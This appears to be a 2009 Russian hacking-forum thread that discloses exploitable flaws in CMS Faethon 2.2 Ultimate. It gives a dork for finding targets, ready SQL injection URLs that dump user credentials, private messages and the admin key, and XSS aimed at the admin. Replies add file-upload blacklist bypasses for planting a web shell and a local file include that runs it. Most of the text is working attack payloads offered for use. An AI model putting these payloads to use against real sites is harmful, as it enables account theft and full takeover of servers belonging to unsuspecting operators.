PDA

Просмотр полной версии : CMS Faethon 2.2 Ultimate


eLWAux
14.04.2009, 19:26
http://i028.radikal.ru/0904/03/fc3d291470b0.png
скачать: http://cmsfaethon.org/downloads/#22ultimate
dork: "Powered by CMS Faethon"
очень интересная cms) никаких проверок, никаких фильтраций, и подобного..
в общем, баги присутствует почти в каждом файле)

BlindSQLinj vote.php:
/vote.php?alt=' blindSQLinjection--+ - только один раз с одного ip
$result=sql_query("SELECT ip FROM ".$SQL_PREFIX."_survey_ip WHERE ip = '".$your_ip."'");
$survey = sql_fetch_object($result);

if(!empty($survey->ip))
{
echo($lang['already_you_voted']);
}
elseif(empty($survey->ip))
{
//vypis poctu hlasu u odpovedi $_GET['alt']
$result=sql_query("SELECT votes, survey_id FROM ".$SQL_PREFIX."_survey_alternatives WHERE id = '".$_GET['alt']."'");

SQLinj info.php:
/info.php?item=' union select concat_ws(0x3a,username,password,string),2 from <PREFIX>_users where id=1--+
/info.php?item=' union select concat_ws(0x3a,from_user,to_user,subject,text,date _send,date_read),2 from n07_users_pms limit x,x--+ - читаем ПМ :)
/info.php?item=' union select adminkey,2 from n07_config where cfg=1--+ - читаем админ_ключ

$result=sql_query("SELECT title, text FROM ".$SQL_PREFIX."_html_sections WHERE address = '" . $_GET['item'] . "' ". $multilang -> sql .";");
по дефолту , <PREFIX> ]= n07
Формирование паролей:
function GetHash($password, $string)
{
$passwd = $password . $string;
return sha1($passwd);
}

SQLinj author.php:
/author.php?id=' union select 1,concat_ws(0x3a,username,password,string) from n07_users where id=1--+
/author.php?name=' union select 1,concat_ws(0x3a,username,password,string) from n07_users where id=1--+
if(isset($_GET['id']))
{
$result=sql_query("SELECT id, name FROM ".$SQL_PREFIX."_authors WHERE id = '" . $_GET['id'] . "';");
}
elseif(isset($_GET['name']))
{
$result=sql_query("SELECT id, name FROM ".$SQL_PREFIX."_authors WHERE item = '" . $_GET['name'] . "';");
}

Раскрытие путей::
/?SetLang[]=eng
/gallery/image.php?id[]=175
/articles.php?from_date[]=1-2-3&to_date=1-2-3

XSS::
/article.php?item=">XSS<a href=

XSS в ПМ-сообщениях::
можно отправить админу пм )
/user_pms.php?action=new_msg
Komu: ..
Předmět: <script>alert('O_o');</script>
Message: ..
в админке /admin/ ::
дамп - /admin/acp/backup/dump.php
$_POST['backup'] = 4; //Download
$_POST['akce'] = SaveDump ;
^^ надо передать post запросом

Dimi4
14.04.2009, 21:42
Админка.

[admin\files-manager\action.php 31 line]
Быстренько просмотрев код... Блеклисты не рулят =))
if(eregi('\.php$', $_FILES['file']['name'][$i]) || eregi('\.php3$', $_FILES['file']['name'][$i]) || eregi('\.php4$', $_FILES['file']['name'][$i]) || eregi('\.php5$', $_FILES['file']['name'][$i]) || eregi('\.phtml$', $_FILES['file']['name'][$i]))

Сочиняем .httaccess и грузим
AddType application/x-httpd-php .jpg

Также помним что eregi чуствительна к нулл байту ;)

[Raz0r]
14.04.2009, 21:59
Также помним, что PHP проводит нормализацию пути:
shell.php/

Dimi4
14.04.2009, 22:50
Продолжим (:

http://localhost/22_ultimate/admin/?cmd=gallery.images

[/admin/gallery/upload.php 50 line]

Мега защита =)

$rozdeleni = explode(".", $_FILES['image']['name'][$i]);
if($rozdeleni[1] == "jpg" or $rozdeleni[1] == "JPG")
{

Если у нас shell.jpg.php, то:

Array ( [0] => shell [1] => jpg [2] => php )

Опять таки Заливка шелла. Проблема что заливается с расширением Array[1].
RFI
Рассмотрим admin\acp\extensions\index.php
Существует вот такой вот код.
if($_GET['op'] == 'install') {
$cms_root = '../';
$path = '../ext/install.' . $_GET['ext'] . '.php';
$chksum = md5_file($path);

if(file_exists($path)) {
$result=sql_query("SELECT chksum FROM ".$SQL_PREFIX."_ext WHERE chksum = '" . $chksum . "';");
$row_array = sql_fetch_row($result);
if($row_array[0] != $chksum) {
include($path);

Есть инклуд include($path);

Обращаемся к скрипту:
index.php?op=install&ext=[path]

$chksum - ето у нас путь в md5.
Скрипт не может сделать sql_query, так как нет такого класа. Следовательно sql_fetch_row не выполнится тоже, а $row_array[0] не будет ровно $chksum. Имеем include($path);

LFI

/admin/acp/restore/restore.php

elseif(isset($_POST['download']))
{
header('Content-Description: File Transfer');
header('Content-Type: text/x-sql');
header('Content-Disposition: attachment; filename="'. $_POST['file'] .'.sql"');

include('../store/'. $_POST['file'] .'.sql');
}

POST file=../../../gallery/data/{nameofgallery}/full/shell.jpg}&download=